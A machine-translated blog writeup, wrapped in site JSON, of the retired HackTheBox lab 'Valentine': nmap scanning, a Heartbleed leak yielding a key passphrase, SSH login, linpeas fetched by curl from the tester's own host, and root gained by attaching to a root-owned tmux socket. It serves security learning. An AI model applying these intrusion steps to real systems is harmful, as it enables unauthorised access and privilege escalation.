{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-valentine-2-en","result":{"data":{"markdownRemark":{"id":"ebcfc03c-5197-59bd-a35b-d832eb0e77df","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This is a writeup for the retired HackTheBox machine “Valentine.”

\n\n

About This Article

\n

The content of this article is not intended to promote acts that violate social order.

\n

Please be aware in advance that attempting to attack environments other than your own or environments for which you have permission may violate the “Act on Prohibition of Unauthorized Computer Access” (Unauthorized Access Prohibition Act).

\n

All opinions expressed are my own and do not represent those of any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

I start with a fast scan as usual.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.79  $RHOST/g' /etc/hosts\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\n22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)\n|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)\n|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)\n80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))\n|_http-server-header: Apache/2.2.22 (Ubuntu)\n|_http-title: Site doesn't have a title (text/html).\n443/tcp open  ssl/http Apache httpd 2.2.22\n|_ssl-date: 2022-07-28T12:23:13+00:00; 0s from scanner time.\n|_http-title: Site doesn't have a title (text/html).\n|_http-server-header: Apache/2.2.22 (Ubuntu)\n| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US\n| Not valid before: 2018-02-06T00:45:25\n|_Not valid after:  2019-02-06T00:45:25\nService Info: Host: 10.10.10.136; OS: Linux; CPE: cpe:/o:linux:linux_kernel
\n

Port 443 is open. Accessing it shows a strange image.

\n

\n \n \n \n \n \n \n \n \n

\n

It appears to be related to Heartbleed.

\n

I ran the exploit code from GitHub - mpgn/heartbleed-PoC: Heartbleed exploit to retrieve sensitive information CVE-2014-0160 and was able to retrieve the string “heartbleedbelievethehype” from memory, but wasn’t sure what to do with it at that point.

\n

I ran gobuster to continue enumeration and found the path /dev, which contained a note and a private key.

\n
$ gobuster dir -u http://$RHOST/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 | tee gobuster.txt
\n

However, the private key was in Proc-Type: 4,ENCRYPTED format, meaning it was protected by a passphrase.

\n

I was able to decrypt the private key using the string retrieved earlier.

\n
openssl rsa -in enc.key -out dec.key
\n

Since I didn’t know the username, I tried root first and got a sign_and_send_pubkey: no mutual signature supported error.

\n
$ ssh -i dec.ky root@10.10.10.79                                                                   \nsign_and_send_pubkey: no mutual signature supported
\n

This error appears to be caused by an older version of SSH not being supported by a newer SSH client.

\n

From this point on, I used a Docker container with an older SSH version.

\n

Root didn’t work, but since the key filename was hype_key, I tried the username hype and was able to log in with user privileges.

\n

Internal Enumeration

\n

I started enumeration with linpeas.

\n
$ curl 10.10.14.2:5000/linpeas.sh -o linpeas.sh\n$ ./linpeas.sh tee linpeas.txt
\n

Looking at the results:

\n

The kernel version is old, so there appear to be several exploitable vulnerabilities.

\n
#\n Executing Linux Exploit Suggester 2\n https://github.com/jondonas/linux-exploit-suggester-2\n  #############################\n    Linux Exploit Suggester 2\n  #############################\n  Local Kernel: 3.2.0\n  Searching 72 exploits...\n  Possible Exploits\n  [1] dirty_cow\n      CVE-2016-5195\n      Source: http://www.exploit-db.com/exploits/40616\n  [2] exploit_x\n      CVE-2018-14665\n      Source: http://www.exploit-db.com/exploits/45697\n  [3] msr\n      CVE-2013-0268\n      Source: http://www.exploit-db.com/exploits/27297\n  [4] perf_swevent\n      CVE-2013-2094\n      Source: http://www.exploit-db.com/exploits/26131
\n

The sudo version also appears to be quite old.

\n
#\n Sudo version\n https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                           \nSudo version 1.8.3p1
\n

I tried a few of the suggested exploits but couldn’t get root.

\n

Looking at the shell history, I noticed that work had been done in a tmux session with root privileges.

\n
hype@Valentine:~$ history\n    5  cd /\n    6  ls -la\n    7  cd .devs\n    8  ls -la\n    9  tmux -L dev_sess\n   10  tmux a -t dev_sess\n   11  tmux --help\n   12  tmux -S /.devs/dev_sess\n   13  exit
\n

tmux is terminal multiplexing software that allows multiple terminals within a single SSH session.

\n

This means work can continue from another terminal even after the shell is disconnected.

\n

From the history, I could see that a socket had been created in /.devs/dev_sess inside the machine using the -L option.

\n

Therefore, I was able to obtain root by connecting to the root-privileged shell using the following command:

\n
$ tmux -S /.devs/dev_sess
\n

Summary

\n

The DirtyCow exploit didn’t work as expected — I’d like to properly read through it someday.

","fields":{"slug":"/hackthebox-linux-valentine-2-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-07-28","description":"A writeup of the retired HackTheBox machine 'Valentine'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Valentine (Easy/Linux)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-valentine-2-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}